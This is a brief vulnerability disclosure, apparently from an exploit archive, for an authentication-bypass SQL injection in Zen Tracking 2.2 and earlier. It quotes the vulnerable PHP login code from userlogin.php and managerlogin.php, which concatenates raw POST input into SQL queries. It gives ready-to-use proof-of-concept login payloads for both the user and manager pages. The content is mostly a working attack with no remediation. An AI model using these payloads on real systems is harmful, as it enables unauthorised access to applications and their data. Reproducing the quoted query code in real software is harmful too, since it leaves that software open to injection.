40 lines
No EOL
951 B
Text
40 lines
No EOL
951 B
Text
[+] Zen Tracking <= 2.2 (Auth Bypass) SQL Injection Vulnerability
|
|
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
|
|
[+] Download : http://scripts.ringsworld.com/calendars/zentimetracking/
|
|
|
|
[+] Vuln Code :
|
|
|
|
[userlogin.php]
|
|
|
|
if (!empty($_POST['password']))
|
|
{
|
|
$username =$_POST['username'];
|
|
$password =$_POST['password'];
|
|
dbConnect();
|
|
$result1 = mysql_query("select * from ".$tbluser." where username='". $username ."' and password='". $password ."'". mysql_error());
|
|
|
|
[+] PoC :
|
|
|
|
[ZenTracking_path]/userlogin.php
|
|
|
|
username: ' or' 1=1
|
|
Password: ' or' 1=1
|
|
|
|
|
|
[+] Vuln Code :
|
|
|
|
[managerlogin.php]
|
|
|
|
if (!empty($_POST['password']))
|
|
{
|
|
$username =$_POST['username'];
|
|
$password =$_POST['password'];
|
|
dbConnect();
|
|
$result1 = mysql_query("select * from ".$tblmanager." where username='". $username ."' and password='". $password ."'". mysql_error());
|
|
|
|
[+] PoC :
|
|
|
|
[ZenTracking_path]/managerlogin.php
|
|
|
|
username: ' or' 1=1
|
|
Password: ' or' 1=1 |